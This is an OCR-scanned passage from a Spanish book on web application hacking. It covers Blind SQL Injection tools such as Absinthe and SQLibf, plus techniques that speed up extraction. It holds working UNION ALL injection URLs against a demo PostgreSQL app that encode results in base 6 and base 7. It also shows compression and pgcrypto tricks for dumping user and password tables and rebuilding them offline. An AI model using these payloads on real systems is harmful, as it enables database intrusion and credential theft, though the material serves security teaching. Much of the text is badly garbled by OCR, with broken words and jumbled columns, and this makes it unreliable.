| rDatabage T ype- - Method 1 Techniue — | = Tepe——
e B Distinct Bl Replace Space by =/

ETECTTRN| | |O0ST ®GET || ®Nomi Obind || OWod BVt dely Delmanecors | R |
Povse i R s\~ [T Mombeto Tneste [ |

Shing Parameten
| (Mama'  ~ [Slaingsting | |Vacingsticg
I~ __VIEWSTATE  /wEPDwUKLTM2MMNZY

- R

& Initialize Injection

I + Add Parameter * Additional Hnadlrsl
| |
i

|
Results

ot cho g oo R v Y "~~~ |
|

Fig 3.9: ConFigndo el servidor vulnerable.

Fig 3.8: Extraccion SQL Powerlnjector Su arquitectura permite ampliar las funcionalidades mediante plugins para diversas bases de
_ datos, soportando a dia de hoy Microsoft SOL Server, MSDE (desktop Edition), Oracle y Postgres.
Adaptada a los gestores de bases de datos Microsoft SOL Server, Oracle, MySQOL y Sybase, esta
aplicacion es de coOdigo abierto y estd disponible en la siguiente direccion URL:.

http:/fwww.sqlpowerinjector.com

Creada por Nummish y Xeron, tanto su codigo fuente como la propia herramienta estan
“disponibles para su descarga en la URL: http://www.0x90.org/releases/absinthe/download.php

16.6.Un ejemplo con Absinthe
: Sea una URL que contiene un pardmetro id, el cual recibe un valor numérico:

{ http://www.miwebserver.com/miprograma.asp?id=370 ‘

6.5.Absinthe

Programada en el lenguaje de programacion C# .NET, pero con soporte para MAC y Linux 2
través de MONO, y publicada bajo licencia GPLv2, esta herramienta es una de las mas completas,
con un interfaz muy cuidado y con soporte para la mayoria de las situaciones: Intranets conl
autenticacion, conexiones SSL, uso de cookies, pardametros en formularios, necesidad de completar
URLs, etc...

Hay que destacar que Absinthe esta pensada para auditores, y no detecta pardmetros vulnerables:
asi que debe ser configurada de forma correcta y cuidadosa:

.. ¥ que se supone o se sabe, que la aplicacion accede a una base de datos Microsoft SOL Server.
Se realiza una sencilla prueba de inyeccion con dos peticiones:

http://www.miwebserver.com/miprograma.asp?id=370 and 1=1
http://www.miwebserver.com/miprograma.asp?id=370 and 1=0




diferente, con otros resultados.

Existe una vulnerabilidad de tipo SQL Injection y es posible explotarla de forma automatiz

Absinthe.

Paso 1: Conf’guraclon dela myecclén a ciegas:

- Absmﬂm
File Tools Help
Host Information | DB Schema | Dowrload Records |

Exploit Type:
Select the type of injection: @ Blind Injection OErrar Based

Select The Target Database: 'MS SQL Server

Connection:

Target URL: http:ff [ W, miwebserver, com.l'mlprograma asp

Connection Method: ‘®aet OPost [Juse sst

[C]Comment End of Querv_[] Append text to end of query

Authentication

[[Juse authentication
Basic Digest MTLM

Form Parameters;

| Parameters | Cookies |

Mame: [ r
e | || MName Value
Default Value: | o ‘ | id a7
|:] In;ectable Parameter ‘
| Add Parameter ” Add Cookie ] ‘ |
[
JE3

Injecta’
True

ferify SQL Server Yersior

Initialize Injection

Remave
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. ¥ se comparan los resultados. Supongase que cuando se afiade “and I=1"

-y ( . se obtiene |5 Mismg
pagina que cuando no se realiza ninguna inyeccion y que, con “and 1=0" se

obtiene ung paglna 4

ada cop.
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1. Blind SOL Injection

ge selecciona el motor de bases de datos. En este caso Microsoft SOL Server porque se
sabe de antemano, pero si se desconoce la version se puede seleccionar el checkbutton de
«Verify SOL Server Version™.

En farget URL se escribe la llamada al programa sin poner los parametros, en este caso:
www.miwebserver.com/miprograma.asp

En el envio de parametros se selecciona la opcion Get.

En la parte de parametros se crea un parametro id con valor por defecto 370 en el que se
indicara que es inyectable.

Se realizara una prueba pulsando el boton Initialize Injection.

aso 2: Descubrimiento de usuario y tablas de la aplicacién.

ario. Después, si el usuario tlene acceso al diccionario de datos, se podra determmar qué tablas
sten en la base de datos y como estan definidas sus columnas.

M Absinthe
File Tools Help

 Host Information |

3 i Download Records |

Ackions:

[Retrieve Username ] [ Load Table Info ] [ Load Field Info ]

Database
Username: USR_WEB
= Tables:
=
1D: 7671075
Record Count: 0
= Fields
1D: 690101499
Record Count: 0
# Fields

ID: 75147313
Record Count: 0
(=l Fields
TP? UNKNOWN 727

ID: 167671645
Record Count: 0
= Fields
T UNKNOWN 777

Fig 3.11: Peticion para descubrir los nombres de los campos.
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Una de las carencias de esta herramienta es que no soporta el descubrimiento de objetos Mmed;
ot . - . i
pruebas de diccionario o fuerza bruta, pero es perfecta en los entornos en los que el usuariq t’f““ _
acceso al diccionario de datos. En la siguiente imagen se puede ver como se enumera la cye N
usuario y las tablas: fta g

Paso 3: Extraccién de datos de tablas.
Tan SFilo queda extraer los datos de las tablas. La pestaia “Download Records™ perm
seleccionar qué informacion se desea obtener y descargarla en formato XML. s

B Absinthe

File Tools Help
Host_;niqr_[n;t_ibn __D_Bééh“é}na_ Download Records |
Qutput: — -
Filename: LH:lDoggu'ir-:g;-'l.-l.}itersi&édiﬁfﬂabs&nthé'-n,;:l_a_tos[ il B
Available Fields: Selected Fislds
Table Field Field 1d ~| Table  Field CFeldld
I mail 2 = | id 1]
| consulta 3 | nombre 1 |
id ] ' fecha 4 '
estado 1
comentarios 2 | ; ‘
fecha 3 | !
nombre 1 |
enlace 2 |
fecha 3 | I |
cerrada 4 | | |
e s v ‘
Download Fields o XML
http:/fuwww, . J+AND4

Fig 3.12: Extraccion de datos.

7. Otras herramientas

Por supuesto, existen mds herramientas que automatizan la explotacion de vulnerabilidades Blind
SQL Injection. La popularidad de las técnicas en que se basan y las innovaciones que en este
campo van surgiendo hacen que cada poco tiempo salga alguna nueva. A continuacién se citan
algunas.

SQL Ninja

Estd escrita en Perl y realiza inyeccién basada en tiempos para motores Microsoft SOL Server, se
puede descargar desde htip://sqlninja.sourceforge.net/ , y hay més informacion referente a ella en
http:/iwww.elladodelmal.com/2007/07/bl ind-sql-injection-iii-de-sqlninja.html

a en el ailo 2006 y desarrollada por DarkRaven, un consultor de seguridad afincado en
ia, estd pensada y ad_aptada para ba§es de da_tos ge_n’érlcas, pero tamb.lén para bases .de dat§s
wcificas en las que realiza comprobaciones de inyeccién de comportamiento cero. A diferencia
(ras, realiza tests para comprobar si un parametro es vulnerable, basandose en el nimero de
s, el nimero de palabras o palabras claves.

erramienta tiene como curiosidad también la busqueda de terminadores de expresiones con
ntesis para poder completar las inyecciones correctamente.

més informacion, se puede visitar la URL: http://www.open-labs.org

ibf .exe http:/Zwww. E sempresasnoticias_detalle.asp?id=378 -B
] SQLibf 1.9 Starting (+blindmode
HANR R R R I RN R R R AR R RRR RN RBRARRA RN BRRBRRLERRRA NN
JIING!? SOL Injection Yulperabilities are very heterogeneous so this
n’t completely reliable. It fails to detect vulnerable sites in
sroximately 104-20x of the cases.
I R RN W R NN
] Testing URL
2 Testing if URL is Stable
RL is Stable
esting Dynamic Parameters
Testing Dynamics in Parameter: 'id’
Confirming Dynamics in Parameter: ’id’
ETER 'id’ ?S DYNAMIC
esting Injectable Parameters
Testing Unescaped Inject in Parameter: 'id'
Confirming Unescaped Inject in Parameter: 'id’
ReConf irming UneacaEed néect in Parameter: 'id’
METER 'id' IS UNESCAPED INJECTABLE
rEing to Fingerprint Database
ingerprinting Database at Parameter: 'id’
Testing MySQL
Testing Microsoft SQL Server
Confirming Microsoft SQL Server
FINGERPRIET - Database: Microsoft SQL Server
hecking Downloaded HTML Code for Database Error Messages
Microsoft SQL Server.
Doing BLIND Tests

) Trying blind at Parameter: ’id’
8EERY: USER

F#a

.-ﬂ.

e e T — e —]

-- END --
Fig 3.13: SQLIBF descubriendo por Blind SQL Injection el usuario de la aplicacién

- Weblnspect

Esta herramienta se comercializa por la empresa SPI Dynamics desde el aio 2005 y esta mantenida
bajo los estudios de Kevin Spett. Al ser una aplicacion comercial, no se dispone del codigo y solo
S¢ conoce su funcionamiento en base a las especificaciones del producto y a como es descrita en el
documento “Blind SQL Injection. Are you web applications vulnerable?”

Se trata de una herramienta de caracter general para analizar la seguridad de aplicaciones y esta

disefiada para buscar todo tipo de wvulnerabilidades. En la siguiente direccion:
https://h10078.www. hp.comleda/hpms/display/main/hpms_content jsp?zn=bto&ep=1-11-201-
20019570 4000 100__, puede encontrarse mas informacién sobre esta herramienta.
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Blind SQL Injection T
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Acunetix Web Vulnerability Scanner

Es otra buena alternativa para la auditoria de aplicaciones web de forma automatica Entre g
: [

dispone de modulos para la deteccion de vulnerabilidades Blind SOL Injection y Bﬁﬂd,{p
Injection. Existe una version comercial y otra gratuita, ambas disponibles en g direce

Ij,ﬁmizando el proceso

s son las virtudes de los métodos de explotacion dicotomico y bit a bit, mostrados en los
chas

htip:/www.acunetix.com,

Havij

Havij es una herramienta que facilita las tareas de extraccion una vez
SQLi. Su utilidad no es la de encontrar ¢l fallo sino la de automatizar t
mediante diversas técnicas. Corre en entornos Windows y requiere instalacion. Existe ung versi
free que se encuentra bastante capada pero que para los SQLi més usuales es mas
La versién free esta disponible en: hitp:/itsecteam.com/en/projects/project 1. htm

FOCA PRO y SQL Injection

En la herramienta FOCA 3.X, en la version PRO, hay un médulo
Injection, pero no es ninguna herramienta para la extraccion de datos.

que ya se ha encontragg ,
odo el proceso de extrac

que suficiente,

que busca vulnerabilidades S_'

s | LF/RFI | Common enforcement em}rsl

(] Options o | =
Fingerprinting | _ 3% Technology | [ Drectoses | (7} DNS Cache Snoophg_—‘
@, Metadata | 3 DNSSearch | 53 Network
= Proxy search | @ Eloting _£ General corfig | & Jicyfies |

["] Check for SQL injections in each parameterized URL

Integer injection | String injection

and 1=1

and 1=2

Fig 3.14: FOCA PRO 3.X con soporte para buscar vulnerabilidades SQL Injection

:05 anteriores. Se puede decir de ellos que son conceptualmente simples,veiegantes, fzif.:iIes
lementar.... Pero, decididamente, entre sus cualidades no figura la. rapidez. Cada bit de
acion requiere un acceso y eso, sobre todo cuando se trata con expresiones de cadena largas,
enlentecer el proceso de obtencion de informacion y llenar los logs del sistema de entradas

orfa posible aprovechar mejor las peticiones que se realizan a la aplicacion? En muchos casos,
existen dos puntos clave para ello:

- Aprovechar al maximo la informacién que las respuestas de la aplicacion proporcionan.

- Reducir al minimo posible los posibles estados asociados a la informacién que se desea
obtener.

.Maximizando la informacion de la respuesta

imero a tener en cuenta es la cantidad de informacion que una pagina puede proporcionar. En
partado 3 se limitd el niimero de lineas que el programa mostraba, dejandolo en 4.

ero, aun asi, las paginas de respuesta siguen proporcionando mucha informacion.

ecuérdese que se conocian los valores asociados a 5 cddigos de id. Si a eso se le afade la
uesta ante identificadores no validos, “Producto no encontrado”, se obtiene un total de 6
ibles valores para cada una de las 4 filas.

mds, la longitud maxima de la respuesta es de 4 filas, pero podrian ser menos. En definitiva,
posibles combinaciones que pueden obtenerse son:

Numero de filas Numero de Combinaciones
0 1

1 6

2 36

3 216

4 1296

- Sumando un total de 1555, lo cual supone mas de 10 bits de informaciéon con una tnica
ticion.
De hecho, tan solo con las posibles combinaciones de 4 filas ya se sobrepasan los 1024 posibles

Valores correspondientes a los 10 bits, con lo que, a efectos de este ejemplo, no se van a utilizar
TeSpuestas de longitud inferior.



Por otro lado, 10 bits es mds que 1 byte. Es, por tanto, posible extraer informacion pertep
mds de un cardcter en una misma peticion.

Recapitulando: se tienen 4 posiciones en cada una de las cuales se pueden representar seig vale
distintos. Por tanto, se puede reducir el problema a codificar el valor que se desea conocer
un nimero de 4 digitos en base 6 y hacer que la aplicacion lo muestre. T

El primer paso consistiria en extraer los bits a determinar, en este caso todos los de] prin

cardcter y los dos menos significativos del segundo y convertirlos en un numero ente
L0

Traduciéndolo a lenguaje SQL:

select ascii(substr(version(),1,1))+
256* (3 & ascii(substr(version(),2,1))) as n

A partir de este nimero se calculan los digitos correspondientes a su representacion en base 6:

select array([n/216, (n%216)/36, (n%36)/6, n%6) as digitosbé from
(select ascii(substr(version(),1,1))+
256* (3 & ascii (substr(version(),2,1))) as n
) as num

Estos digitos en base 6, que podran tomar un valor entre 0 y 5, seran representados en la salida del

programa por los distintos valores de id conocidos:

Tornillo

Tuerca
Bombilla
Arandela

| w|ro| —

Destornillador

..., afiadiendo “~17, que produce un reporte de “producto no encontrado™ y se asociara al digito

“0”

Cada id resultante se convierte en una fila con la ayuda de la funcién “generate_series™

select null,null,null, representacion[digitosh6[i]+1]
from
(select array[n/216, (n%216)/36, (n%36)/6, n%6] digitosbé,
array [(-1,1,2,3,4,5] representacion,
generate series(l,4) i
from
(select ascii (substr(version(),1,1))+
256* (3 & ascii(substr(version(),2,1))) as n
) @s num
) as digitos

Hacking de Aplicaciones Web: SOL Injan
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que s€ han anadido tres valores null, necesarios para que esta consulta tenga el mismo
tese . . <r
ot ro de columnas que la que ejecuta la aplicacion,

mel’

queda inyectarla, prestando atencion a la codificacion de los caracteres con significado
écial en las URLS’ como ii+9,’ t\%!! 0 iﬁ&'l'l:

Jwebserver | /pruebas/ventas.php?ref=aaaaaaaaa’ union all  select  null,null,null,
osentacion[digitosb6[i] %2b 1] from (select array[n/216, (n %25 216)/36, (n %25 36)/6. n
- 6] digitosb6, array[-1,1,2,3,4,5] representacion, generate series(1,4) i from (select

"(substr(version(),l‘1)) %2b 256%(3 %26 ascii(substr(version(),2,1))) as n) as num) as

g ———v ESEEr=5=)

B2 http:/ /webser.. @~ B C K_}I 2 webserverl < I I PY IR,

o

HA INICIADO SESION COMO: Administrador

il

Ventas del producto #3 bombilla -> 7 unidades
Ventas del producto #5 destornillador -> 0 unidades
Ventas del producto #3 bombilla -> 7 unidades
Ventas del producto #2 tuerca > 10 unidades

Buscar ventas de producto

< | m - I »

Kis% ~

L == =

Fig 3.15: Base 6

0s productos mostrados se corresponden a los ids 3, 5, 3 y 2. Con ellos se forma el niimero en
base 6 <3532 que, convertido a decimal resulta en “848” y, en binario “11010100007.

Recordando la forma en que se calculo el valor obtenido:

ascii (substr(version(),1,1))+
1256* (3 & ascii(substr(version(),2,1)))

-

. - los ocho bits menos significativos, “010100007, “80” en base 10, son el codigo ascii del primer
Caricter de la version. La letra “P”.

- Los otros dos, “117” son los menos significativos del segundo caracter. Para extraer los seis

- Testantes, mas otros cuatro del tercer caricter, se realizaria otra peticion. En este caso habria que
- Inyectar:
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select null,null,null, representacion[digitosb6[i]+1]
from
(select array[n/216, (n%216)/36, (n%36)/6, n%6] digitosbe,
array [-1,1,2,3,4,5] representacion,
generate series(1,4) i
from B
(select (ascii(substr(version(),2,1))&252)/4+

64* (15 & ascii(substr(version(),3,1))) as n
) as num

) as digitos

Notese que sélo se ha modificado la parte en la que se calcula el valor de n (resaltada ep e
ejemplo). La URL resultante seria:

http://webserverl/pruebas/ventas.php?ref=aaaaaaaaa’  union  all  select null,null,null,
representacion[digitosb6[i] %2b 1] from (select array[n/216, (n %25 216)/36, (n %25 36)/6, n
%25 6] digitosb6, array[-1,1,2,3,4,5] representacion, generate_series(1,4) i from (select

(ascii(substr(version(),2,1)) %26 252)/4 %2b 64*(15 %26 ascii(substr(version().3,1))) as n) as
num) as digitos--

ﬁ !\‘_; http://webser.. O ~ ._'.'-‘CT: & webserverl I_; J o vy o
HA INICIADO SESION COMO: Administrador
Ventas del producto #1 tornillo > 7 unidades 3
Producto no encontrado
Producto no encontrado
Ventas del producto #3 bombilla > 7 unidades
— T = e

Fig 3.16: Otros 10 bits

La respuesta obtenida se corresponderia con el niimero en base 6 “1003”, “219” en decimal, cuyos
10 digitos binarios son “0011011011>,

Ya se puede reconstruir el segundo cardcter, cuyo cédigo ascii estara formado por los seis bits
menos significativos de esta peticion concatenados con los dos que se obtuvieron en la anterior,
“011011"y 117, obteniéndose “011011117, “111” en decimal: la letra “o”.

Y ya se tendrian los cuatro bits menos significativos del tercer caracter: “0011". Repitiendo €l
proceso se terminaria obteniendo toda la cadena.
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Nota: En los ejemplos de este capitulo se estd utilizando una base d(’:- datos
PostgreSQL. Otros motores de bases de datos pueden no disponer de funciones o
construcciones equivalentes a “generate_series”. o

En todo caso, aunque den lugar a sentencias SQL mas largas y complejas, siempre se
utilizar UNION ALL, como en

ECT pull,null,null,l UNION ALL

ep ECT null,null,null,2 UNION ALL

w1 ECT null,null,null.3

ECT null,null,null,l UNION ALL
SELECT null,null.null,2 where 1=1 UNION ALL
' __.'ECT null,null,null,3 where 1=2

ﬁ;o puede observarse, el atacante aun tiene bastante margen de maniobra. Mas de un byte por
cién. La situacion tiene bastante margen para empeorar. Supongase que se modifica ahora la
cacion para que solo muestre una Unica fila. Puede simularse este comportamiento

vilido que produzca un reporte de "Producto no encontrado”. Existe también la la posibiliflad de
la busqueda no encuentre ningan producto y se retorne el mensaje “Referencias no
ontradas”. Por supuesto, si hubiera otras posibles respuestas, como otros mensajes de error y
Similares, también podrian utilizarse.

n definitiva: 7 posibles respuestas. O, hablando en lenguaje matemdtico, cada peticion
proporcionaria un digito en base 7. Esto supone més de 2 bits, casi 3, lo cual permitiria optar entre
dos posibilidades. La primera consistiria en realizar accesos independientes, cada uno de las cuales

http://webserverl /prucbas/ventas.php?ref=aaaaaaaaa' union all
select null,null,null, case 3 %26 ascii(substr(version(),1,1))
when 0 then |
when 1 then 2
when 2 then 3
when 3 then 4
end--

... que, dependiendo de qué resultado se obtenga, revelara el valor de los dos bits menos
Significativos del primer caracter de la version.
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La otra posibilidad consiste en realizar peticiones interdependientes, cada una de la
aportard algo mas de dos bits de informacion. Basicamente, se trataria de adaptar el esque
en el supuesto anterior, cuando se podian extraer cuatro filas, a la nueva situacion. La v
este caso, es que se podria aprovechar ¢l remanente de informacién de cada acceso, C

S Cualgg
Ma usaqy,

on sélo 3

peticiones, se podrian codificar 7 x 7 x 7 = 343 posibles valores, mas de 8 bits: un cardicter
completo que, con el enfoque anterior necesitaria de 4 accesos. Asi, se podria recuperar | Primer

-

cardcter de la cadena con las siguientes URLs:

http://webserverl/pruebas/ventas.php?ref=aaaaaaaaa’ union all

select null,null,null,representacion[n/49 %2b 1]

from (select ascii(substr(version(),1,1)) n,
array[-1,1,2,3,4,5,77] representacion) as num

where representacion[n/49 %2b 1] < 77—

http://webserverl/pruebas/ventas.php?ref=aaaaaaaaa' union all

select null,null,null,representacion[(n %25 49)/7 %2b 1]

from (select ascii(substr(version(),1,1)) n,
array[-1,1,2,3,4,5,77] representacion) as num

where representacion[(n %25 49)/7 %2b 1] <> 77—

http://webserverl/pruebas/ventas.php?ref=aaaaaaaaa’ union all

select null,null,null,representacion[n %25 7 %2b 1]

from (select ascii(substr(version(),1,1)) n,
array[-1,1,2,3.4,5,77] representacion) as num

where representacion[n %25 7 %2b 1] < 77--

7}

Notese como la clausula WHERE anadida al final de la consulta SELECT inyectada hace que no
se encuentre ningun producto si el digito correspondiente vale “6”. Cada peticion anterior
retornaria una fila. En el caso de la primera, aparecera el producto que representa el digito “1™:

(€

HA INICIADO SESION COMO: Administrador |

| @ hitp . webser... 0O ® 2c X |l 2 webserverl v J i

Ventas del producto #1 tornillo -> 7 unidades i

Buscar ventas de producto

Fig 3.17: Un digito en base 7

La segunda proporcionard un “4” y la tercera, un “3”. Uniendo los tres resultados se obtiene €l
niimero en base 7 “143”, cuya codificacion decimal es “807, el codigo ascii de la letra “P”.

€Nlaja, ¢
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Minimizando los bits del problema

o0 se indico mas arriba, la cadena retornada por la funcion “version()” tiene, en este caso, 112
n::teres. 896 bits. Aun con las mejoras introducidas en el apartado anterior, el numero de
.sos que hay que realizar a la aplicacion seguiria siendo elevado.

éro hay ocasiones en que no es necesario extraer todqs los I?it‘si. A veces los dgms estan
tructurados de modo que parte de su informacion es conocida a priori o se puede deducir so.bre la
—archa. Una fecha, por ejemplo, una vez convertida en cadena, contiene sélo numeros y guiones,
; arras, para separarlos. Y al atacante solo le interesarian los digitos.

lviendo al ejemplo planteado en el punto anterior, y analizando el resultado producido por
ersion()”, puede observarse que sigue un formato muy definido:

“PostgreSQL ”
<Versioén>

“ "

on

<Arquitectura>

*, compiled by ”

La cadena puede dividirse en varias partes y, en cada una de ellas, el contenido sigue unas reglas
definidas. En una es un namero de version; en otras, un texto fijo, etc. Asi, si ya se ha determinado
que el sistema Gestor de Base de datos es PostgreSQL, los diez primeros caracteres de la salida ya
se conocen: “PostgreSQL ™. No es necesario extraerlos mediante técnicas de Blind SQL Injection.

Un sistema basado en un autémata de estados finitos podria aprovechar esta informacion para
obtener un primer nivel de optimizacion. En el peor de los casos, si no fuera posible determinar
- ninguna estructura para la cadena, el nimero de estados se reduciriaa 1.

Por otro lado, algunos motores de bases de datos proporcionan mecanismos para comprimir los
- datos. Como MySQL y su funcién COMPRESS, que permite reducir, a veces de forma més que
significativa, la cantidad de informacion a recuperar:

mysgl> select length(group concat (table schema, '
Separator '\n')) from information schema.tables;

:', table_name

b~ = e e e e e e e +

| length(group concat (table schema, ':', table name separator '\n')) |
1. T i i e e e e e et 5 e o e 1 g

| 1024 |

Ny S UL S S S S SIS et +

|1 row in set, 1 warning (0.01 sec)

Mysql> select length(compress(group concat(table schema, ':', table name
Separator '\n'))) from information schema.tables;




111, Blind SOL Injection 123

122 Hacking de Aplicaciones Web: SOy, 1, el
ion

 hora de utilizar técnicas de Blind SOL Injection debe tenerse en cuenta que las funciones que
a

| length(compress(group_concat (table schema, ':', table name Separatoy __iten obtener el tamafio de un valor de tipo RAW y posteriormente determl.nar los valores de
e 1 distintos bytes son UTL_RA W.LENGTH y UTL RAW.SUBSTR, respectivamente. Ambas
e e o ptan Jos mismos pardmetros que sus contrapartidas para cadenas de texto.

_______ + . r + - . .

| . vez terminado el proceso de extraccién de datos, el atacante podrd iniciar una sesion
e ractiva en una instalacion propia de Oracle y reconstruir el texto original. Si porcaracieres es

bla con los bytes extraidos mediante Blind SQL Injection, le bastaria con un bloque PL/SQL
mo el siguiente:

oL> DECLARE .
'ﬁz cursor cl is select i,c from porcaracteres order by i;

resultado raw(32767);

1 row in set, 1 warning (0.02 sec)

mysqgl>

| 3
285 caracteres, frente a los 1024 originales, suponen una reduccién de casi el 75% de la cantidag 4 BEGIN . . i
. i s = 2 t raw h
de informacion a extraer. El resultado de COMPRESS es una cadena que puede ser tratada de [ B Toultsto = ukl Taw.Gast bo
forma habitual % 86 for caracter in cl
. 7 loop
VeZ re el at utili instalacid ia de L k8 resultado :=
Una ecuperada, acante puede utilizar una instalacion propia MySOL  para B i couitaionti wawicast bo pad(EhElCarECESEEIYY

descomprimir la cadena con UNCOMPRESS. Asi, si en la méquina del atacante se tiene una tabla (°
llamada porcaracteres con una columna C en la que se almacenaron los codigos 4SCII obtenidos
para los sucesivos caracteres, se recuperara la informacion original mediante una instruccién SQL
como:

9 end loop:;

i 11 resultado := utl_compress.lz_uncompress(resultado);

12 dbms output.put_line(utl_raw.cast_to_varcharZ(resultado));
IF13 END;

g1/

belect uncompress (group concat (char(c) separator '')) from POrcaracteresﬂf

ORACLE, por su parte, dispone de una libreria denominada UTL COMPRESS que incluye la
funcién de compresion de datos LZ COMPRES. En su formato mas basico, LZ COMPRESS toma

como argumento un objeto de tipo RAW, BLOB o BFILE. En el primero de los casos retorna un xml
valor RAW vy, en los otros dos, un BLOB. - E:_g_31~'51011="1 07>
<Usuarios>

El siguiente ejemplo de uso de UTL_COMPRESS.LZ_COMPRESS combina compresion y técnicas
de Serialized SOL Injection para reducir el tamafio de la representacion de los resultados de una
consulta:

<FILA><NOMBRE>admin</NOMBRE><CONTRASENA>passadmin</CONTRASENA></FIL
A><FILA><NOMBRE>usuariol </NOMBRE><CONTRASENA>password | </CONTRASENA>
</FILA><FILA><NOMBRE>usuario2</NOMBRE><CONTRASENA>password2</CONTRAS
ENA></FILA><FILA><NOMBRE>leet</NOMBRE><CONTRASENA>P@55w0rd</CONTRA
SENA></FILA></Usuarios>

select utl compress.lz_compress (
utl raw.cast to_raw(
(select sys xmlagg(xmlelement (fila,
xmlforest (nombre, contrasena)),
xmlformat ('Usuarios')) .getstringval ()
from almacen.usuarios)
)

) from dual;

PL/SQL procedure successfully completed.

| Incluso cuando el motor de bases de datos no provea de mecanismos especificos para la
- Compresion de datos, pueden existir herramientas que, de forma colateral, hagan posible reducir el
amafio de una cadena. Es el caso de PosigreSQL y la libreria de cifrado pgerypto.

En esta ocasion, la longitud paso de 325 bytes a tan solo 141.
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Si una aplicacion almacena las contrasefias en formato cifrado, es bastante probabl

libreria esté instalada y debidamente configurada en el sistema. :r’ aunque no ps ’ a’['e e
haberse instalado de forma inadvertida. Por ejemplo, en Ubuntu pg:c:ypfo forma st ] 0
PostgreSOL-Contrib, que quiza haya sido desplegado Par’a utili P equelg
caracteristicas. R RS O o

= '?:te u;;;mo Calso, ?5 posible que el administrador no haya realizado el dltimo paso
g}l‘;l;lcznsd L]uel ;Sh unciones de compresion estén disponibles: procesar los comandoque S
os en el fichero pgerypto.sql que, en sistemas Ubuntu se encuentra en la ruta s QL

(SL]Stl Uyase 8 4 p()t‘ ]a VEr: I est C. (5] ata[:a[”e dri
t . S1on de PO.S‘!gJ' (?SQL utll]zada} ])(]
. n ste a.SG., ] )
necesitar ”l}'eCtal CGdlgO pala crear [aS fu]lcl(}lles qUB ]JI‘CCIS& I ar e|emp]0 1

f fusr/share/postgresq I/8.4/contrib/pgerypto.sql

CREATE OR REPLACE FUNCTION
RETURNS bytea

AS 'Slibdir/pgerypto’,
LANGUAGE C STRICT;

Pgp_sym_encrypt (text, text, text)

'pgpﬂsym_encrypt*text‘

CREATE OR REPLACE FUNCTION
RETURNS bytea

AS 'Slibdir/pgerypto!,
{LANGUAGE C STRICT;

PgpP_sym_encrypt bytea (bytea, text, text)

'pgp_s ym_encrypt bytea'

Algunas versi 3 i i
g ones de PostgreSQL permiten realizar dicha operacion mediante un escueto:

LCRE:ATE EXTENSION PGCRYPTO

Y €s quc i gCJ Vp!‘() lnClll € una illIlLl(l]l p Cl dl:} S]Illet co 1nom ad W
y ara ﬁ‘a T F f con
r1 de mn da pgp Sy-' Encryp

datos valor de tipo texto a cifrar
Co il
. nFrasena cadena de texto con la contrasefa usada para el cifrado
clones i i
p cadena de texto con la especificacion de las opciones de cifrado

-+ ¥ que devuelve un valor bytea, una cadena de datos en bruto

Este valor es disti i
oehin i jlzzglto cada vez que se invoca a pgp_sym_encrypt, incluso usando los mismos
i re.qUieren derepr.esenta‘un problema puesto que, dado que las técnicas de Blind SQL
varias peticiones para obtener u i
n dato, se necesi i
en cada una de ellas sean consistentes entre si. N

Para solucionar este
problema, se puede almacenar la sali i
; salida producida po
tabla temporal y extraer posteriormente de ella la informaciénp SRS

I

: press-level

4

.rcompress—algo=1, com
loc

. 'table_to_xml ( 'almacen .usuarios', true, false,

ilo 111, Blind SQL Injection

o Jas opciones que afectan al tamafio final del resultado estan:

Algoritmo para comprimir datos. 1 se corresponde con ZIP
Nivel de compresion. El nivel de maxima compresion es el 9
Si vale 1, se deshabilita la proteccion de los datos con SHA-1.

press- algo

able-mdc

Indica qué tipo de salt se usa para el cifrado. Si vale 0, no se usa salt.

s=# select length (xmlserialize (document
length

false, as text));

tgre Ty

le to_xml{‘almacen.usuarios', true,

cstgres=# select Octet_length(pgp_sym_encrypt(xmlserialize(document
able_to_xml('almacen.usuarios', true, false, '') as text), 'a',
press-level=9, disable-mdc=1, s2k-mode=0"));

tet length

| 312
(1 fila)

lpostgres=#

se trata de un valor de tipo hyfea, para obtener el tamaiio en bytes de los datos
tet_length. Para extraer los correspondientes bytes, o bits
te y get_bit, respectivamente. Ambas toman

desea obtener (empezando a partir de 0):

—

Noétese que, ya que
comprimidos se hace uso de la funcion oc
segun convenga, se pueden usar las funciones get by
como parametros una cadena byfea y la posicion que se

|postgres=# select get_byte(pgp_sym_encrypt{xmlserialize(document
"'y as text), 'a',

s2k-mode=0")

|| compress-algo=1, compress-level=9, disable-mdc=l, ,0);
get byte

15%
(1 fila)
| |Postgres=# select get_bit{pgp_sym_encrypt{xmiserialize(document
table_to_xml('almacen.usuarios‘, true, false, '') as text), 'a’,
'compress-algo=1, compress-level=%, disable-mdc=1, s2k-mode=0")

get _bit

(1 filai

Y
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Una vez extraidos los datos, el atacante podra reconstruirlos a partir de los bits o
Supdngase que dispone de un equipo con PostgreSOL instalado v que, usando esta b
ha creado una tabla llamada porbits con los bits obtenidos.

btenid()s
ase de dayg,,

Se podria definir una funcion como:

e = ~ 7 =~ 1 -
create or replace function reconstruye() returns text as es
declare -
miret bytea;
micur cursor for select *

Lr

: from porbits order by
tamano integer; .

VvV porbits%ROWTYPE;

'TleCL count (*) from porbits into tamano:
miret = repeat('a',tamano/8)::bytea;
for vv in micur loop
mireL=set_bi:(miret,vv.i,vv.b);
end loop;
return pgp_ sym_decrypt{miret,'a');
end
$% language plpgsgl;

...y ejecutar:

postgres=¢# select reconstruye() ‘

... consiguiendo la siguiente salida:

reconstruye

<usuarios xmlns:xsi;"ht:p://www.w3.org/Z&Ol/XMLSchema—instance">
<row>
<nombre>usuariol
<contrasena>passwordl
</contrasena>»
<id>2< /1 d>
<desc>Primer usuario
</row>
<Irow>

</nombre>

</desc>

<nombre>usuarioc?

<contrasena>password?2
</contrasena>

<id>3</id>

<desc>Segundo Usuario

</nombre>

</desc>

(la salida continua hasta listar toda la tabla)

gyh;iﬁ,B!hnfSQN.hUerﬁon 127

o

2 cualquier caso. debe tenerse en cuenta que los algoritmos de compresion no siempre consiguen
ir el tamario de las cadenas.

E
mduc

£n algunos casos. incluso las hacen crecer. Sobre todo cuando se aplican a textos cortos:

] row in set (0.01 sec)

Visto lo visto, antes de usar compresion, es necesario comprobar si con ello se van a obtener los
resultados deseados.

Por otro lado, podria ocurrir que el Sistema Gestor de Bases de Datos no proporcionara medio
alguno de realizar la compresion de datos. Por razones como éstas, puede ser conveniente utilizar
algunas reglas simples que puedan ser utilizadas cuando todo lo demas falle.

Asi, aunque un caricter esté formado por hasta 8 bits. el nimero de posibles valores que aquel
puede tomar en cada momento puede ser inferior a 256. Observando la salida de “version()” puede
observarse que solo aparecen letras (mayusculas y mintsculas), nimeros, espacios y los caracteres
Si no es necesario distinguir entre mayusculas y minasculas, el espacio de busqueda se puede
